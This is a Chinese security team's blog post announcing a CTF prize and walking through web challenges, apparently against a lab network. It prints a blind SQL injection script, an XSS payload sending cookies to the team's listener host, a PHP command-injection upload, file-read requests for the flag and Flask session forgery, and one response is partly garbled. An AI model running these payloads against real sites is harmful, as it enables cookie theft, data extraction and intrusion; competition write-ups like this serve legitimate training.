【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

admin 2021年5月12日18:30:11评论109 views1字数 8402阅读28分0秒阅读模式


点击蓝字 ·  关注我们

01

前言&比赛简介

恭喜EDI安全团队获得第三届“安网杯”网络攻防比武大赛三等奖!


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


为进一步落实网络强国战略思想,维护安徽省关键信息基础设施和重要信息系统安全,提升防范化解网络安全风险能力,在安徽省公安厅指导下,由安徽省计算机信息网络安全协会主办,中国电信股份有限公司安徽分公司、安徽云探索网络科技有限公司、安徽安正测评技术有限公司共同承办的第三届“安网杯”网络攻防比武大赛,将于2021年5月11日上午9点在合肥市洲际酒店(合肥市蜀山区潜山路888号)举行。届时,省、市两级相关党政机关、企事业单位、关键信息基础设施和重要信息系统运营单位网络安全负责人以及国内网络安全界知名专家、教授等将到现场观摩指导,并组织专家论坛分享网络安全心得经验。
本次大赛采用线下CTF竞赛方式,全面检验参赛队伍攻防兼备实战技术技能。竞赛项目主要包含web安全、逆向分析、移动安全、二进制漏洞挖掘利用、密码学、综合杂项等类别。

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

02

比赛wp

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

web1 

文件抓包改后缀php

web2

布尔型sql注入题,过滤了,=,like等。form for绕过,<>绕过=

import requestsfrom requests.models import encode_multipart_formdataclass TrickUrlSession(requests.Session): def setUrl(self, url): self._trickUrl = url def send(self, request, **kwargs): if self._trickUrl: request.url = self._trickUrl return requests.Session.send(self, request, **kwargs)def format(s): s = s.replace(" ","/**/") s = s.replace("and","%26%26") return sdef sql(payload): burp0_url = "http://172.20.2.2:9001/" # burp0_url = "http://127.0.0.1:9001/" burp0_cookies = {"session": "eyJ1c2VybmFtZSI6Imd1ZXN0In0.YJn_9g.ovL1KTEt9f9hjEDMoZoplRtnEc"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "AcceptLanguage": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "AcceptEncoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded","Origin": "http://172.20.2.2:9001", "Connection": "close", "Referer":"http://172.20.2.2:9001/", "Upgrade-Insecure-Requests": "1"} burp0_data = {"from": "1", "to": f"{payload}"} # print(burp0_data) res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies,data=burp0_data) # print(burp0_url,len(res.text)) if "ဌํྌ" in res.text: return True # print(format("and (select user() like 'r%')"))chars = '{}-ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghiklmnopqrstuvwxyz0123456789,'s = ""for i0 in range(1,999): for i in range(len(chars)): # database train # flaggtable,tickets # flaggcolumn # payload = format(f"-1' or ascii(mid((select group_concat(column_name) frominformation_schema.columns where table_name in ('flagtable')) from {i0} for 1))<>'{ord(chars[i])}") payload = format(f"-1' or ascii(mid((select flagcolumn from flagtable) from{i0} for 1))<>'{ord(chars[i])}") # payload = format(f"-1' or ascii(mid((select group_concat(table_name) frominformation_schema.tables where table_schema in (database())) from {i0} for 1))<>'{ord(chars[i])}") # payload = format(f" and substr((select group_concat(column_name) frominformation_schema.columns where table_name='users'),{i0},1)='{chars[i]}'") if sql(payload): s += chars[i] print(s)

flagg{7f00831d-648d-45d3-ae99-a4bb5adb44d6}

web3

反射型xxs题 需要双写绕过。

本地放一个js文件(从其他web题copy的js)作用是把cookie发到自己的nc上。

username=document.cookievar xmlhttp = window.XMLHttpRequest ? new XMLHttpRequest() : newActiveXObject('Microsoft.XMLHTTP'); xmlhttp.open("POST", "http://172.20.20.165:8081/", true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlhttp.onreadystatechange = function (){ if (xmlhttp.readyState == 4 && xmlhttp.status == 200) { if(xmlhttp.responseText=='1') location.href='./admin/backendmanage.php'; else alert("Login Failed!"); } } xmlhttp.send("username="+encodeURIComponent(username));

python3 -m http.server 8000 启动web服务来访问js。

nc -lv 8081 用来接受请求。

在反馈页面提交payload{csrf_token直接无视

/func2?csrf_token=ImY5ODNiNDQyZTc5MzY1OGE3Nzc5NTg3YmU4YzMyMDYwODAxNDIyMjUi.YJnvqA.S31i2YJcFg9TYzfXSncKtgGaS0&name=%3Cscscriptript+src%3D%22hhttpttp%3A%2F%2F172.20.20.165%3A8000%2F1.js%22%3E%3C%2Fsscriptcript%3E&submit=Get+It%21

随后得到管理员session


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


带session访问/admin获取flag

flag{1016f828-1a47-4ff0-8e0a-3527138c2caf}


web4

文件包含

请求/index.php?txt=file:///flag

flag{0e26f56d-0387-4936-a89f-74f0b8323fd0}


web5

include("/etc/passwd")提示有openbasedir

scandir system等函数提示被ban没有cat命令直接more 空格$IFS$9绕过,因为是写入php文件,所以需要加转义。

GET /?action=upload&data=<?=`more$IFS$9../../../../../../fl*$IFS$9/1`?> HTTP/1.1Host: 172.20.2.3:9004User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie:session=eyJjc3JmX3Rva2VuIjoiMjUwNWZkMmMxNWRiYWRjNjAxZDNlYjEyYzEzOWIzYjgxYmMzMTY0YyIsIm5hbWUiOiJndWVzdCJ9.YJnw4Q.jOc4Z-vNr3crAJqi6AZgtzCjAxYUpgrade-Insecure-Requests: 1Cache-Control: max-age=0


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

web6

首先爆破401没有提示(其实robots.txt里面有写)

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

guest:letmein

登录后有一个admin的php文件 打开提示不是admin 查看cookie里面有一串jwt格式的session题目没key kali爆破了很久,可能不需要key,于是生成无认证的jwt,带jwt访问成功跳转。

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


随后发现id_rsa和flag.php


【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


flag.php提示需要密码



【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛


因为没有rsa的工具,无法爆破web爆破太慢 比赛结束也没有爆破导致没有akweb题。

赛后:

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

web7

打开页面f5就能看到有一个err.php报错 试了一下是ssti。过滤了()

http://172.20.0.2:9006/err.php?errorinfo={{config}}

获取SECRET_KEY备用,发现admin目录需要seesion校验,生成session

python flask_session_cookie_manager2.py encode -s "jecbW5Jx" -t "{u'username':u'admin'}"eyJ1c2VybmFtZSI6ImFkbWluIn0.YJorfg.p9-04BbYO1G9w1IWqmSpINSJiSU

随后可以使用?img=1.png读取文件,app.py没读到,使用文件读取cmdline得到web路径。

GET /admin/backendmanage.php?img=/app_a384gh1.py HTTP/1.1Host: 172.20.2.2:9006User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YJorfg.p9-04BbYO1G9w1IWqmSpINSJiSUUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cachefrom flask import Flask,request,render_template_string,redirect,render_template,sessionimport randomimport stringimport base64import ffffffff111llllagapp =Flask(import_name=__name__,template_folder='templates',static_folder='static',static_url_path='/static')app.config['SECRET_KEY'] =''.join(random.sample(string.ascii_letters + string.digits,8))@app.before_requestdef before_request(): if '/admin/' in request.path: sess_name='guest' print(session) if 'username' in session: sess_name=session['username'] if sess_name!='admin': return 'Your current account is '+sess_name+' not admin' @app.after_requestdef makeheader(response): response.headers["X-Powered-By"] = "PHP/7.2.10" response.headers["Hint"] = "Wake up Neo, the Matrix has you" response.headers['Server']='Apache/2.4.35 (Win64) PHP/7.2.10' return response @app.route('/')def redirect_2_index(): if 'username' not in session: print('not in session!') session['username']='guest' return redirect("./index.php", code=302) @app.route("/err.php")def err(): #I patched the SSTI vulnerability.How clever I am! errorinfo=request.args.get("errorinfo") blacklist=["(",")"] for black in blacklist: if black in errorinfo: return "You're just a dirty hacker,aren't you?" return render_template_string("Oh no,there is an Error! Error info:<p> %s" %errorinfo)@app.route("/index.php")def index(): return render_template("index.html")@app.route("/login.php",methods=['POST'])def login(): username=request.form['username'] password=request.form['password'] if "'" in username or "'" in password: return "You have an error in your SQL syntax; check the manual that correspondsto your MariaDB server version for the right syntax to use near '''" return '0'@app.route("/admin/backendmanage.php")def backendmanage(): img=request.args.get("img") if not img: img='1.png'  if "flag" in img: return "You're just a dirty hacker,aren't you?" content = '' with open(img, 'rb') as img_f: content = img_f.read() content = base64.b64encode(content) content=''.join([chr(i) for i in content]) return '<h1>Current Image:{img}</h1><!-- ?img=1.png --><img src="data:;base64,{content}">'.format(img=img,content=content)@app.errorhandler(Exception)def all_exception_handler(e): e=str(e) return redirect("/err.php?errorinfo="+e, code=302)if __name__ == '__main__': app.run(host="0.0.0.0",port=80)">

读取flag文件

GET /admin/backendmanage.php?img=/proc/self/cwd/ffffffff111llllag.py HTTP/1.1Host: 172.20.2.2:9006User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/87.0.4280.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YJorfg.p9-04BbYO1G9w1IWqmSpINSJiSUUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache•4Ï/1.0 200 OK•íent-O*^: µìmþ•fl; r•«±ëutf-8•íent--éàth: 171X->••red-By: <sÿ7.2.10•)í: Y©• up Neo, the 1«kix has youIêïer: ••••ïö.4.35 (Z)ú4) <sÿ7.2.10Uªò:•$ie«^: Tue, 11 May ÛMµ 07:21:22 GMT<h1>êëent "f e:þ•èsû••ÿÜÁßß}÷ß}÷õ×Ye•V .py</h1><!-- ?•h1.png --><img ²·"u«Z:;m«•64,flag='flag{95a749b6-b026-4ee0-af43-35a27eb5a516}'">


EDI安全

【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


本文始发于微信公众号(EDI安全):【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月12日18:30:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【喜讯&线下wp】第三届“安网杯”网络攻防比武大赛https://cn-sec.com/archives/372396.html

发表评论

匿名网友 填写信息